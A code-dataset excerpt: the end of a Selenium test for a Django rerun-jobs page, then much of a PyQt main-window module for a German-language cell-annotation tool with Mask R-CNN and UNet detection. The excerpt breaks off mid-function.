reverse\nfrom autoreduce_qp.systemtests.utils.data_archive import DataArchive\n\nfrom autoreduce_frontend.selenium_tests.pages.rerun_jobs_page import RerunJobsPage\nfrom autoreduce_frontend.selenium_tests.tests.base_tests import (NavbarTestMixin, BaseTestCase, FooterTestMixin,\n AccessibilityTestMixin)\n\n\n# pylint:disable=no-member\nclass TestRerunJobsPage(BaseTestCase, NavbarTestMixin, FooterTestMixin, AccessibilityTestMixin):\n \"\"\"\n Test cases for the InstrumentSummary page when the Rerun form is NOT visible\n \"\"\"\n\n fixtures = BaseTestCase.fixtures + [\"run_with_multiple_variables\"]\n\n @classmethod\n def setUpClass(cls):\n \"\"\"Sets up DataArchive for all tests and sets instrument for all tests\"\"\"\n super().setUpClass()\n cls.instrument_name = \"TESTINSTRUMENT\"\n cls.data_archive = DataArchive([cls.instrument_name], 21, 21)\n cls.data_archive.create()\n cls.data_archive.add_reduction_script(cls.instrument_name, \"\"\"print('some text')\"\"\")\n cls.data_archive.add_reduce_vars_script(\n cls.instrument_name, \"\"\"standard_vars={\"variable_str\":\"value1\",\"variable_int\":123,\"variable_float\":123.321,\n \"variable_listint\":[1,2,3],\"variable_liststr\":[\"a\",\"b\",\"c\"],\"variable_none\":None,\n \"variable_empty\":\"\",\"variable_bool\":True}\"\"\")\n\n @classmethod\n def tearDownClass(cls) -> None:\n \"\"\"Destroys created DataArchive\"\"\"\n cls.data_archive.delete()\n super().tearDownClass()\n\n def setUp(self) -> None:\n \"\"\"Set up RerunJobsPage before each test case\"\"\"\n super().setUp()\n self.page = RerunJobsPage(self.driver, self.instrument_name)\n self.page.launch()\n\n def test_cancel_goes_back_to_runs_list(self):\n \"\"\"Tests: Clicking canel button returns the runs list page\"\"\"\n self.page.cancel_button.click()\n assert reverse(\"runs:list\", kwargs={\"instrument\": self.instrument_name}) in self.driver.current_url\n\n def test_reset_values_does_reset_the_values(self):\n \"\"\"Test that the button to reset the variables to the values from the reduce_vars script works\"\"\"\n self.page.variable_str_field = \"the new value in the field\"\n self.page.reset_to_current_values.click()\n\n # need to re-query the driver because resetting replaces the elements\n var_field = self.page.variable_str_field\n assert var_field.get_attribute(\"value\") == \"value1\"\n\n def test_variables_appear_as_expected(self):\n \"\"\"\n Test: Just opening the submit page and clicking rerun\n \"\"\"\n assert self.page.variable_str_field_val == \"value1\"\n assert self.page.variable_int_field_val == \"123\"\n assert self.page.variable_float_field_val == \"123.321\"\n assert self.page.variable_listint_field_val == \"[1, 2, 3]\"\n assert self.page.variable_liststr_field_val == \"['a', 'b', 'c']\"\n assert self.page.variable_none_field_val == \"None\"\n assert self.page.variable_bool_field_val == \"True\"\n","repo_name":"autoreduction/frontend","sub_path":"autoreduce_frontend/selenium_tests/tests/pages/test_rerun_jobs.py","file_name":"test_rerun_jobs.py","file_ext":"py","file_size_in_byte":3082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"23137681691","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport codecs\nimport os\nimport os.path\nimport platform\nimport logging\nimport sys\nimport glob\nfrom functools import partial\nfrom PIL import Image, ImageFont, ImageDraw\nimport numpy as np\nfrom skimage import io\nfrom skimage.color import rgb2gray\nfrom skimage import img_as_float\nfrom skimage.segmentation import morphological_chan_vese, checkerboard_level_set\nfrom skimage.filters.rank import enhance_contrast\nfrom skimage.morphology import disk\nfrom skimage._shared.utils import assert_nD\nfrom shapely.geometry import Polygon\n\ntry:\n from PyQt5.QtGui import *\n from PyQt5.QtCore import *\n from PyQt5.QtWidgets import *\nexcept ImportError:\n # needed for py3+qt4\n # Ref:\n # http://pyqt.sourceforge.net/Docs/PyQt4/incompatible_apis.html\n # http://stackoverflow.com/questions/21217399/pyqt4-qtcore-qvariant-object-instead-of-a-string\n if sys.version_info.major >= 3:\n import sip\n sip.setapi('QVariant', 2)\n from PyQt4.QtGui import *\n from PyQt4.QtCore import *\n\nfrom libs.canvas import Canvas\nfrom libs.colorDialog import ColorDialog\nfrom libs.constants import *\nfrom libs.labelDialog import LabelDialog\nfrom libs.labelFile import LabelFile\nfrom libs.labelFile import LabelFileError\nfrom libs.lib import addActions\nfrom libs.lib import generateColorByText\nfrom libs.lib import newAction\nfrom libs.lib import struct\nfrom libs.pascal_voc_io import PascalVocReader\nfrom libs.pascal_voc_io import PascalVocWriter\nfrom libs.pascal_voc_io import XML_EXT\nfrom libs.settings import Settings\nfrom libs.shape import DEFAULT_FILL_COLOR\nfrom libs.shape import DEFAULT_LINE_COLOR\nfrom libs.shape import Shape\nfrom libs.toolBar import ToolBar\nfrom libs.ustr import ustr\nfrom libs.zoomWidget import ZoomWidget\nfrom libs.detection import OBJ_THRESH\nfrom libs.detection import MaskRCNNDetector\nfrom libs.detection import UNetSegmentation\nfrom libs.excelExport import cellTableGenerator, scaleDialog\n\n__appname__ = 'ADPKD Support Tool'\n\n\ndef have_qstring():\n '''p3/qt5 get rid of QString wrapper as py3 has native unicode str type'''\n return not (sys.version_info.major >= 3 or QT_VERSION_STR.startswith('5.'))\n\n\ndef util_qt_strlistclass():\n return QStringList if have_qstring() else list\n\n\nclass WindowMixin(object):\n\n def menu(self, title, actions=None):\n if platform.uname().system.startswith('Darw'):\n self._menu_bar = QMenuBar()\n else:\n self._menu_bar = self.menuBar()\n menu = self._menu_bar.addMenu(title)\n if actions:\n addActions(menu, actions)\n return menu\n\n def toolbar(self, title, actions=None):\n toolbar = ToolBar(title)\n toolbar.setObjectName(u'%sToolBar' % title)\n toolbar.setToolButtonStyle(Qt.ToolButtonTextUnderIcon)\n if actions:\n addActions(toolbar, actions)\n # self.addToolBar(Qt.LeftToolBarArea, toolbar)\n self.addToolBar(Qt.TopToolBarArea, toolbar)\n return toolbar\n\n\n# PyQt5: TypeError: unhashable type: 'QListWidgetItem'\nclass HashableQListWidgetItem(QListWidgetItem):\n\n def __init__(self, *args):\n super(HashableQListWidgetItem, self).__init__(*args)\n\n def __hash__(self):\n return hash(id(self))\n\n\nclass MainWindow(QMainWindow, WindowMixin):\n FIT_WINDOW, FIT_WIDTH, MANUAL_ZOOM = list(range(3))\n\n def __init__(self, defaultFilename=None, defaultPrefdefClassFile=None):\n super(MainWindow, self).__init__()\n self.setWindowTitle(__appname__)\n\n # Load setting in the main thread\n self.settings = Settings()\n self.settings.load()\n settings = self.settings\n # self.mask_model_weights = 'yolo3_cells_2.h5'\n self.mask_model_weights = 'mask_rcnn_cell_0030.h5'\n self.unet_model_weights = 'unet_cells.hdf5'\n # Save as Pascal voc xml\n self.defaultSaveDir = None\n self.usingPascalVocFormat = True\n # For loading all image under a directory\n self.mImgList = []\n self.dirname = None\n self.labelHist = []\n self.lastOpenDir = None\n\n # Whether we need to save or not.\n self.dirty = False\n self._noSelectionSlot = False\n self.autoSaving = True\n self.singleClassMode = True\n self.lastLabel = None\n\n # Load predefined classes to the list\n self.loadPredefinedClasses(defaultPrefdefClassFile)\n\n # Main widgets and related state.\n self.labelDialog = LabelDialog(parent=self, listItem=self.labelHist)\n\n self.itemsToShapes = {}\n self.shapesToItems = {}\n self.prevLabelText = ''\n\n listLayout = QVBoxLayout()\n listLayout.setContentsMargins(0, 0, 0, 0)\n\n self.useDefaultLabelCheckbox = QCheckBox(u'Use default label')\n self.useDefaultLabelCheckbox.setChecked(False)\n self.defaultLabelTextLine = QLineEdit()\n useDefaultLabelQHBoxLayout = QHBoxLayout()\n useDefaultLabelQHBoxLayout.addWidget(self.useDefaultLabelCheckbox)\n useDefaultLabelQHBoxLayout.addWidget(self.defaultLabelTextLine)\n useDefaultLabelContainer = QWidget()\n useDefaultLabelContainer.setLayout(useDefaultLabelQHBoxLayout)\n\n # Create a widget for edit and diffc button\n # self.diffcButton = QCheckBox(u'difficult')\n # self.diffcButton.setChecked(False)\n # self.diffcButton.stateChanged.connect(self.btnstate)\n self.editButton = QToolButton()\n self.editButton.setToolButtonStyle(Qt.ToolButtonTextBesideIcon)\n\n # Add some of widgets to listLayout\n # listLayout.addWidget(self.editButton)\n # listLayout.addWidget(self.diffcButton)\n listLayout.addWidget(useDefaultLabelContainer)\n\n \n self.fileListWidget = QListWidget()\n self.fileListWidget.itemDoubleClicked.connect(self.fileitemDoubleClicked)\n filelistLayout = QVBoxLayout()\n filelistLayout.setContentsMargins(0, 0, 0, 0)\n filelistLayout.addWidget(self.fileListWidget)\n fileListContainer = QWidget()\n fileListContainer.setLayout(filelistLayout)\n self.filedock = QDockWidget(u'File List', self)\n self.filedock.setObjectName(u'Files')\n self.filedock.setWidget(fileListContainer)\n\n self.zoomWidget = ZoomWidget()\n self.colorDialog = ColorDialog(parent=self)\n\n self.canvas = Canvas(parent=self)\n self.canvas.zoomRequest.connect(self.zoomRequest)\n\n scroll = QScrollArea()\n scroll.setWidget(self.canvas)\n scroll.setWidgetResizable(True)\n self.scrollBars = {\n Qt.Vertical: scroll.verticalScrollBar(),\n Qt.Horizontal: scroll.horizontalScrollBar()\n }\n self.scrollArea = scroll\n self.canvas.scrollRequest.connect(self.scrollRequest)\n\n self.canvas.saveFileSignal.connect(self.saveFile)\n\n self.canvas.newShape.connect(self.newShape)\n self.canvas.shapeMoved.connect(self.setDirty)\n self.canvas.selectionChanged.connect(self.shapeSelectionChanged)\n self.canvas.drawingPolygon.connect(self.toggleDrawingSensitive)\n\n self.setCentralWidget(scroll)\n # self.addDockWidget(Qt.RightDockWidgetArea, self.dock)\n # Tzutalin 20160906 : Add file list and dock to move faster\n self.addDockWidget(Qt.RightDockWidgetArea, self.filedock)\n self.filedock.setFeatures(QDockWidget.DockWidgetFloatable)\n\n self.dockFeatures = QDockWidget.DockWidgetClosable | QDockWidget.DockWidgetFloatable\n # self.dock.setFeatures(self.dock.features() ^ self.dockFeatures)\n # self.showSegmentationOverlay = None\n # self.segmentationOverlay = None\n # Custom Cell Detector\n\n self.detector = MaskRCNNDetector(self.mask_model_weights)\n self.unet_seg = UNetSegmentation(self.unet_model_weights)\n # Actions\n action = partial(newAction, self)\n # quit = action('&Schließen', self.close, 'Ctrl+Q', 'Schließen', u'Anwendung verlassen')\n opendir = action('&Ordner\\nöffnen', self.openDirDialog, 'Ctrl+u', 'icons/open.png', u'Ordner öffnen')\n openNextImg = action('&Nächstes\\nBild', self.openNextImg, 'd', 'icons/next.png', u'Nächstes Bild anzeigen')\n openPrevImg = action('&Voheriges\\nBild', self.openPrevImg, 'a', 'icons/prev.png', u'Voheriges Bild anzeigen')\n save = action('&Speichern', self.saveFile, 'Ctrl+S', 'icons/save.png', u'Speichern der Markierungen', enabled=False)\n close = action('&Schließen', self.closeFile, 'Ctrl+W', 'icons/close.png', u'Aktuelle Datei schließen')\n resetSettings = action('&Zurücksetzen\\naller\\nEinstellungen &\\n Neu starten', self.resetAll, None, 'icons/resetall.png', u'Einstellungen zurücksetzen')\n createMode = action('&Markierung\\nerstellen', self.setCreateMode, 'w', 'icons/feBlend-icon.png', u'Markierungsmodus', enabled=False)\n editMode = action('&Markierungen\\nbearbeiten', self.setEditMode, 'Ctrl+J', 'icons/edit.png', u'Editierungsmodus', enabled=False)\n delete = action('&Markierungen\\nlöschen', self.deleteSelectedShape, 'delete', 'icons/delete.png', u'Löschen', enabled=False)\n reload = action('&Bild neu laden', self.reloadImg, 'Ctrl+R', 'icons/verify.png', u'Aktuelle Bild neu laden', enabled=True)\n resetBoxes = action('&Markierungen\\nzurücksetzen', self.resetImg, None, 'icons/quit.png', u'Markierungen des aktuellen Bildes zurücksetzen', enabled=True)\n contourOverlay = action('Konturmodus', self.toggleContourOverlay, 'Ctrl+Shift+C', 'Overlay einblenden', u'Kontur einblenden', checkable=True, enabled=True)\n unet_usage = action('UNet verwenden', self.toggleUnet, None, 'UNet zum Segmentieren verwenden', u'UNet verwenden', checkable=True, enabled=True, checked=True)\n generateOutput = action('Ergebnis\\n erzeugen', self.genOutput, None, 'icons/labels.png', u'Ergebnisbild erzeugen')\n autoDetect = action('&Automatische\\nErkennung', self.cellDetection, None, 'icons/zoom.png', u'Automatische Erkennung von Zellen')\n autoDetectDir = action('&Automatische\\nErkennung\\n des Ordners', self.cellDetectionDir, None, 'icons/zoom.png', u'Automatische Erkennung von Zellen des gesamten Ordners')\n zoomIn = action('Zoom &In', partial(self.addZoom, 10), 'Ctrl++', 'zoom-in', u'Increase zoom level', enabled=False)\n zoomOut = action('&Zoom Out', partial(self.addZoom, -10), 'Ctrl+-', 'zoom-out', u'Decrease zoom level', enabled=False)\n zoomOrg = action('&Original size', partial(self.setZoom, 100), 'Ctrl+=', 'zoom', u'Zoom to original size', enabled=False)\n fitWindow = action('&Fit Window', self.setFitWindow, 'Ctrl+F', 'fit-window', u'Zoom follows window size', checkable=True, enabled=False)\n fitWidth = action('Fit &Width', self.setFitWidth, 'Ctrl+Shift+F', 'fit-width', u'Zoom follows window width', checkable=True, enabled=False)\n # # Group zoom controls into a list for easier toggling.\n zoomActions = (self.zoomWidget, zoomIn, zoomOut,\n zoomOrg, fitWindow, fitWidth)\n self.zoomMode = self.MANUAL_ZOOM\n self.scalers = {\n self.FIT_WINDOW: self.scaleFitWindow,\n self.FIT_WIDTH: self.scaleFitWidth,\n # Set to one to scale to 100% when loading files.\n self.MANUAL_ZOOM: lambda: 1,\n }\n\n # Store actions for further handling\n self.actions = struct(save=save,\n close=close, resetSettings=resetSettings,\n delete=delete,\n createMode=createMode, editMode=editMode,\n autoDetect=autoDetect,\n autoDetectDir=autoDetectDir,\n zoomActions=zoomActions,\n generateOutput=generateOutput,\n # segmentationOverlay=segmentationOverlay,\n contourOverlay=contourOverlay,\n advancedContext=(delete, contourOverlay),\n onLoadActive=(close, createMode, editMode))\n\n self.menus = struct(\n overlays=self.menu('&Konturen'))\n\n addActions(self.menus.overlays, (contourOverlay, unet_usage))\n addActions(self.canvas.menus[0], self.actions.advancedContext)\n # addActions(self.canvas.menus[1], [action('&Move here', self.moveShape)])\n self.tools = self.toolbar('Tools')\n\n self.actions.advanced = (opendir, openNextImg, openPrevImg, createMode, autoDetectDir, autoDetect, save, reload, None, editMode, delete, generateOutput, None, resetBoxes, resetSettings)\n\n # Application state.\n self.image = QImage()\n self.filePath = ustr(defaultFilename)\n self.recentFiles = []\n # self.maxRecent = 7\n self.lineColor = None\n self.fillColor = None\n self.zoom_level = 100\n self.fit_window = False\n\n ## Fix the compatible issue for qt4 and qt5. Convert the QStringList to python list\n if settings.get(SETTING_RECENT_FILES):\n if have_qstring():\n recentFileQStringList = settings.get(SETTING_RECENT_FILES)\n self.recentFiles = [ustr(i) for i in recentFileQStringList]\n else:\n self.recentFiles = recentFileQStringList = settings.get(SETTING_RECENT_FILES)\n\n self.pixel_scale = settings.get(SETTING_PIXEL_SCALING, 0)\n self.unet_usage = settings.get(SETTING_UNET_USAGE, True)\n size = settings.get(SETTING_WIN_SIZE, QSize(600, 500))\n position = settings.get(SETTING_WIN_POSE, QPoint(0, 0))\n self.resize(size)\n self.move(position)\n ####### Automatic Save Context\n saveDir = ustr(settings.get(SETTING_SAVE_DIR, None))\n self.lastOpenDir = ustr(settings.get(SETTING_LAST_OPEN_DIR, None))\n if saveDir is not None and os.path.exists(saveDir):\n self.defaultSaveDir = saveDir\n self.statusBar().showMessage('%s gestartet. Annotation werden in %s gespeichert' % (__appname__, saveDir))\n self.statusBar().show()\n\n self.restoreState(settings.get(SETTING_WIN_STATE, QByteArray()))\n Shape.line_color = self.lineColor = DEFAULT_LINE_COLOR\n Shape.fill_color = self.fillColor = DEFAULT_FILL_COLOR\n self.canvas.setDrawingColor(self.lineColor)\n\n def xbool(x):\n if isinstance(x, QVariant):\n return x.toBool()\n return bool(x)\n\n if xbool(settings.get(SETTING_ADVANCE_MODE, False)):\n pass\n\n # Since loading the file may take some time, make sure it runs in the background.\n if self.filePath and os.path.isdir(self.filePath):\n self.queueEvent(partial(self.importDirImages, self.filePath or \"\"))\n elif self.filePath:\n self.queueEvent(partial(self.loadFile, self.filePath or \"\"))\n\n # Callbacks:\n self.zoomWidget.valueChanged.connect(self.paintCanvas)\n self.populateModeActions()\n self.labelCoordinates = QLabel('')\n self.statusBar().addPermanentWidget(self.labelCoordinates)\n # Open Dir if deafult file\n if self.filePath and os.path.isdir(self.filePath):\n pass\n\n########################################################################################################\n########################################################################################################\n ## Support Functions ##\n\n def noShapes(self):\n return not self.itemsToShapes\n\n def populateModeActions(self):\n tool, menu = self.actions.advanced, self.actions.advancedContext\n self.tools.clear()\n addActions(self.tools, tool)\n self.canvas.menus[0].clear()\n addActions(self.canvas.menus[0], menu)\n # self.menus.edit.clear()\n actions = (self.actions.createMode, self.actions.editMode)\n # addActions(self.menus.edit, actions + self.actions.editMenu)\n\n def setDirty(self):\n self.dirty = True\n self.actions.save.setEnabled(True)\n\n def setClean(self):\n self.dirty = False\n self.actions.save.setEnabled(False)\n\n def toggleActions(self, value=True):\n for z in self.actions.zoomActions:\n z.setEnabled(value)\n for action in self.actions.onLoadActive:\n action.setEnabled(value)\n\n def queueEvent(self, function):\n QTimer.singleShot(0, function)\n\n def status(self, message, delay=5000):\n self.statusBar().showMessage(message, delay)\n\n def resetState(self):\n # self.toggleSegmentationOverlay(False, True)\n self.actions.contourOverlay.setChecked(self.canvas.showContourOverlay)\n self.itemsToShapes.clear()\n self.shapesToItems.clear()\n #self.labelList.clear()\n self.filePath = None\n self.imageData = None\n self.labelFile = None\n self.canvas.resetState()\n self.labelCoordinates.clear()\n\n def currentItem(self):\n if items:\n return items[0]\n return None\n\n\n def createShape(self):\n # assert self.beginner()\n self.canvas.setEditing(False)\n # self.actions.create.setEnabled(False)\n\n def resetOverlays(self):\n # self.showSegmentationOverlay = False\n # self.segmentationOverlay = None\n # self.actions.segmentationOverlay.setChecked(False)\n self.actions.contourOverlay.setChecked(self.canvas.showContourOverlay)\n\n def toggleDrawingSensitive(self, drawing=True):\n \"\"\"In the middle of drawing, toggling between modes should be disabled.\"\"\"\n self.actions.editMode.setEnabled(not drawing)\n self.actions.delete.setEnabled(not drawing)\n if not drawing: # and self.beginner():\n # Cancel creation.\n self.statusBar().showMessage('Zeichnen abgebrochen')\n self.statusBar().show()\n self.canvas.setEditing(True)\n self.actions.editMode.setEnabled(False)\n self.actions.delete.setEnabled(False)\n self.actions.createMode.setEnabled(True)\n self.canvas.restoreCursor()\n \n\n def toggleDrawMode(self, edit=True):\n self.canvas.setEditing(edit)\n self.actions.createMode.setEnabled(edit)\n \n\n def setCreateMode(self):\n self.toggleDrawMode(False)\n self.actions.delete.setEnabled(False)\n self.actions.editMode.setEnabled(True)\n\n def setEditMode(self):\n self.toggleDrawMode(True)\n self.actions.delete.setEnabled(True)\n self.actions.editMode.setEnabled(False)\n\n\n def toggleContourOverlay(self, show=False):\n if show:\n self.calcContours()\n self.canvas.showContourOverlay = show\n self.canvas.update()\n\n def toggleUnet(self, show=True):\n self.unet_usage = show\n\n def fileitemDoubleClicked(self, item=None):\n currIndex = self.mImgList.index(ustr(item.text()))\n if currIndex < len(self.mImgList):\n filename = self.mImgList[currIndex]\n if filename:\n self.loadFile(filename)\n\n def btnstate(self, item=None):\n if not self.canvas.editing():\n return\n try:\n shape = self.itemsToShapes[item]\n except:\n pass\n try:\n self.canvas.setShapeVisible(shape, item.checkState() == Qt.Checked)\n except Exception as e:\n print(e)\n pass\n\n # React to canvas signals.\n def shapeSelectionChanged(self, selected=False):\n if self._noSelectionSlot:\n self._noSelectionSlot = False\n else:\n shape = self.canvas.selectedShape\n if shape:\n self.shapesToItems[shape].setSelected(True)\n self.actions.delete.setEnabled(selected)\n\n def addLabel(self, shape):\n item = HashableQListWidgetItem(shape.label)\n item.setFlags(item.flags() | Qt.ItemIsUserCheckable)\n item.setCheckState(Qt.Checked)\n item.setBackground(generateColorByText(shape.label))\n self.itemsToShapes[item] = shape\n self.shapesToItems[shape] = item\n\n def remLabel(self, shape):\n if shape is None:\n return\n item = self.shapesToItems[shape]\n del self.shapesToItems[shape]\n del self.itemsToShapes[item]\n\n def loadLabels(self, shapes):\n s = []\n for label, points, line_color, fill_color, contour_points, confidence, contourEdited in shapes:\n shape = Shape(label=label)\n for x, y in points:\n shape.addPoint(QPointF(x, y))\n if contour_points:\n for x, y in contour_points:\n shape.addContourPoint((x, y))\n shape.confidence = confidence\n shape.contourEdited = contourEdited\n shape.close()\n s.append(shape)\n if line_color:\n shape.line_color = QColor(*line_color)\n else:\n shape.line_color = generateColorByText(label)\n if fill_color:\n shape.fill_color = QColor(*fill_color)\n else:\n shape.fill_color = generateColorByText(label)\n self.addLabel(shape)\n self.canvas.loadShapes(s)\n\n def saveLabels(self, annotationFilePath):\n annotationFilePath = ustr(annotationFilePath)\n if self.labelFile is None:\n self.labelFile = LabelFile()\n self.labelFile.verified = self.canvas.verified\n\n def format_shape(s):\n return dict(label=s.label,\n line_color=s.line_color.getRgb(),\n fill_color=s.fill_color.getRgb(),\n points=[(p.x(), p.y()) for p in s.points],\n contour_points=s.contour_points,\n confidence=s.confidence,\n contourEdited=s.contourEdited)\n\n shapes = [format_shape(shape) for shape in self.canvas.shapes]\n try:\n if self.usingPascalVocFormat is True:\n logging.info('Img: ' + self.filePath + ' -> Its xml: ' + annotationFilePath)\n self.labelFile.savePascalVocFormat(annotationFilePath, shapes, self.filePath, self.imageData, self.lineColor.getRgb(), self.fillColor.getRgb())\n else:\n self.labelFile.save(annotationFilePath, shapes, self.filePath, self.imageData, self.lineColor.getRgb(), self.fillColor.getRgb())\n return True\n except LabelFileError as e:\n self.errorMessage(u'Error saving label data', u'%s' % e)\n return False\n\n def labelSelectionChanged(self):\n item = self.currentItem()\n if item and self.canvas.editing():\n self._noSelectionSlot = True\n self.canvas.selectShape(self.itemsToShapes[item])\n shape = self.itemsToShapes[item]\n\n def labelItemChanged(self, item):\n shape = self.itemsToShapes[item]\n label = item.text()\n if label != shape.label:\n shape.label = item.text()\n shape.line_color = generateColorByText(shape.label)\n self.setDirty()\n else:\n self.canvas.setShapeVisible(shape, item.checkState() == Qt.Checked)\n\n def newShape(self):\n \"\"\"Pop-up and give focus to the label editor.\n position MUST be in global coordinates.\n \"\"\"\n text = 'cell'\n if text is not None:\n generate_color = generateColorByText(text)\n shape = self.canvas.setLastLabel(text, generate_color, generate_color)\n self.addLabel(shape)\n self.actions.editMode.setEnabled(True)\n self.actions.delete.setEnabled(False)\n self.setDirty()\n else:\n self.canvas.resetAllLines()\n\n def scrollRequest(self, delta, orientation):\n units = - delta / (8 * 15)\n bar = self.scrollBars[orientation]\n bar.setValue(bar.value() + bar.singleStep() * units)\n\n def setZoom(self, value):\n self.zoomMode = self.MANUAL_ZOOM\n self.zoomWidget.setValue(value)\n\n def addZoom(self, increment=10):\n self.setZoom(self.zoomWidget.value() + increment)\n\n def zoomRequest(self, delta):\n h_bar = self.scrollBars[Qt.Horizontal]\n v_bar = self.scrollBars[Qt.Vertical]\n h_bar_max = h_bar.maximum()\n v_bar_max = v_bar.maximum()\n\n cursor = QCursor()\n pos = cursor.pos()\n relative_pos = QWidget.mapFromGlobal(self, pos)\n cursor_x = relative_pos.x()\n cursor_y = relative_pos.y()\n w = self.scrollArea.width()\n h = self.scrollArea.height()\n margin = 0.1\n move_x = (cursor_x - margin * w) / (w - 2 * margin * w)\n move_y = (cursor_y - margin * h) / (h - 2 * margin * h)\n move_x = min(max(move_x, 0), 1)\n move_y = min(max(move_y, 0), 1)\n \n units = delta / (8 * 15)\n scale = 10\n self.addZoom(scale * units)\n # get the difference in scrollbar values\n # this is how far we can move\n d_h_bar_max = h_bar.maximum() - h_bar_max\n d_v_bar_max = v_bar.maximum() - v_bar_max\n # get the new scrollbar values\n new_h_bar_value = h_bar.value() + move_x * d_h_bar_max\n new_v_bar_value = v_bar.value() + move_y * d_v_bar_max\n h_bar.setValue(new_h_bar_value)\n v_bar.setValue(new_v_bar_value)\n\n def setFitWindow(self, value=True):\n if value:\n self.actions.fitWidth.setChecked(False)\n self.zoomMode = self.FIT_WINDOW if value else self.MANUAL_ZOOM\n self.adjustScale()\n\n def setFitWidth(self, value=True):\n if value:\n self.actions.fitWindow.setChecked(False)\n self.zoomMode = self.FIT_WIDTH if value else self.MANUAL_ZOOM\n self.adjustScale()\n\n def togglePolygons(self, value):\n for item, shape in self.itemsToShapes.items():\n item.setCheckState(Qt.Checked if value else Qt.Unchecked)\n\n def loadFile(self, filePath=None, overlays=None):\n self.resetState()\n self.canvas.setEnabled(False)\n if filePath is None:\n filePath = self.settings.get(SETTING_FILENAME)\n filePath = str(filePath)\n unicodeFilePath = ustr(filePath)\n if unicodeFilePath and self.fileListWidget.count() > 0:\n index = self.mImgList.index(unicodeFilePath)\n fileWidgetItem = self.fileListWidget.item(index)\n fileWidgetItem.setSelected(True)\n if unicodeFilePath and os.path.exists(unicodeFilePath):\n img = read(unicodeFilePath, None)\n height, width, channel = img.shape\n bytesPerLine = 3 * width\n image = QImage(img.data, width, height, bytesPerLine, QImage.Format_RGB888)\n self.labelFile = None\n if image.isNull():\n self.errorMessage(u'Fehler beim Öffnen des Bildes', u\"

    Sicherstellen, dass %s ein zulässiges Format hat.\" % unicodeFilePath)\n self.status(\"Fehler beim Lesen von %s\" % unicodeFilePath)\n return False\n self.status(\"Loaded %s\" % os.path.basename(unicodeFilePath))\n self.image = image\n self.filePath = unicodeFilePath\n self.canvas.loadPixmap(QPixmap.fromImage(image))\n if self.labelFile:\n self.loadLabels(self.labelFile.shapes)\n self.setClean()\n self.canvas.setEnabled(True)\n self.adjustScale(initial=True)\n self.paintCanvas()\n self.toggleActions(True)\n if self.usingPascalVocFormat is True:\n if self.defaultSaveDir is not None:\n basename = os.path.basename(os.path.splitext(self.filePath)[0]) + XML_EXT\n xmlPath = os.path.join(self.defaultSaveDir, basename)\n self.loadPascalXMLByFilename(xmlPath)\n else:\n xmlPath = os.path.splitext(filePath)[0] + XML_EXT\n if os.path.isfile(xmlPath):\n self.loadPascalXMLByFilename(xmlPath)\n self.setWindowTitle(__appname__ + ' ' + filePath)\n self.canvas.setFocus(True)\n return True\n return False\n\n def resizeEvent(self, event):\n if self.canvas and not self.image.isNull()\\\n and self.zoomMode != self.MANUAL_ZOOM:\n self.adjustScale()\n super(MainWindow, self).resizeEvent(event)\n\n def paintCanvas(self):\n assert not self.image.isNull(), \"cannot paint null image\"\n self.canvas.scale = 0.01 * self.zoomWidget.value()\n self.canvas.adjustSize()\n self.canvas.update()\n\n def adjustScale(self, initial=False):\n value = self.scalers[self.FIT_WINDOW if initial else self.zoomMode]()\n self.zoomWidget.setValue(int(100 * value))\n\n def scaleFitWindow(self):\n e = 2.0 # So that no scrollbars are generated.\n w1 = self.centralWidget().width() - e\n h1 = self.centralWidget().height() - e\n a1 = w1 / h1\n # Calculate a new scale value based on the pixmap's aspect ratio.\n w2 = self.canvas.pixmap.width() - 0.0\n h2 = self.canvas.pixmap.height() - 0.0\n a2 = w2 / h2\n return w1 / w2 if a2 >= a1 else h1 / h2\n\n def scaleFitWidth(self):\n # The epsilon does not seem to work too well here.\n w = self.centralWidget().width() - 2.0\n return w / self.canvas.pixmap.width()\n\n def closeEvent(self, event):\n if self.dirty:\n self.saveFile()\n settings = self.settings\n # If it loads images from dir, don't load it at the begining\n if self.dirname is None:\n settings[SETTING_FILENAME] = self.filePath if self.filePath else ''\n else:\n settings[SETTING_FILENAME] = ''\n settings[SETTING_WIN_SIZE] = self.size()\n settings[SETTING_WIN_POSE] = self.pos()\n settings[SETTING_WIN_STATE] = self.saveState()\n settings[SETTING_LINE_COLOR] = self.lineColor\n settings[SETTING_FILL_COLOR] = self.fillColor\n settings[SETTING_RECENT_FILES] = self.recentFiles\n settings[SETTING_PIXEL_SCALING] = self.pixel_scale\n settings[SETTING_UNET_USAGE] = self.unet_usage\n if self.defaultSaveDir and os.path.exists(self.defaultSaveDir):\n settings[SETTING_SAVE_DIR] = ustr(self.defaultSaveDir)\n else:\n settings[SETTING_SAVE_DIR] = \"\"\n if self.lastOpenDir and os.path.exists(self.lastOpenDir):\n settings[SETTING_LAST_OPEN_DIR] = self.lastOpenDir\n else:\n settings[SETTING_LAST_OPEN_DIR] = \"\"\n settings[SETTING_AUTO_SAVE] = self.autoSaving\n settings[SETTING_SINGLE_CLASS] = self.singleClassMode\n settings.save()\n\n def reloadImg(self):\n if not self.mayContinue():\n return\n logging.info('Bild neu laden')\n self.loadFile(self.filePath)\n\n def resetImg(self):\n if self.filePath is not None:\n anno_file = self.filePath.split('.')[0] + '.xml'\n if not os.path.exists(anno_file):\n self.noAnnotationFileDialog()\n return\n if not self.deleteAnnotationsDialog():\n return\n os.remove(anno_file)\n logging.info('Reset image')\n self.reloadImg()\n\n def cellDetection(self):\n if not self.mayContinue():\n return\n logging.info(self.filePath)\n currentPath = self.filePath\n localPath = self.filePath.split(os.path.basename(currentPath))[0]\n imgFileName = os.path.basename(currentPath)\n currentImg = io.imread(currentPath)\n if isinstance(self.detector, MaskRCNNDetector):\n boxes = self.detector.predictBoxesAndContour(currentImg)\n height, width, depth = currentImg.shape\n filename = currentPath.split('.')[0] + '.xml'\n writer = PascalVocWriter('{0}'.format(localPath), imgFileName, [height, width, depth], localImgPath=currentPath)\n writer.verified = False\n for box in boxes:\n xmin = box.xmin\n xmax = box.xmax\n ymin = box.ymin\n ymax = box.ymax\n contour = box.contour\n confidence = box.confidence\n writer.addBndBox(xmin, ymin, xmax, ymax, 'cell', contour, confidence, False)\n writer.save(targetFile=filename)\n self.loadRecent(currentPath, True)\n\n def cellDetectionDir(self):\n progress = QProgressDialog('Erkenne Zellen {0}/{1}'.format(0, len(self.mImgList)), None, 0, 0, self)\n progress.setWindowTitle('Bitte warten')\n progress.setWindowModality(Qt.WindowModal)\n progress.setRange(0, len(self.mImgList))\n 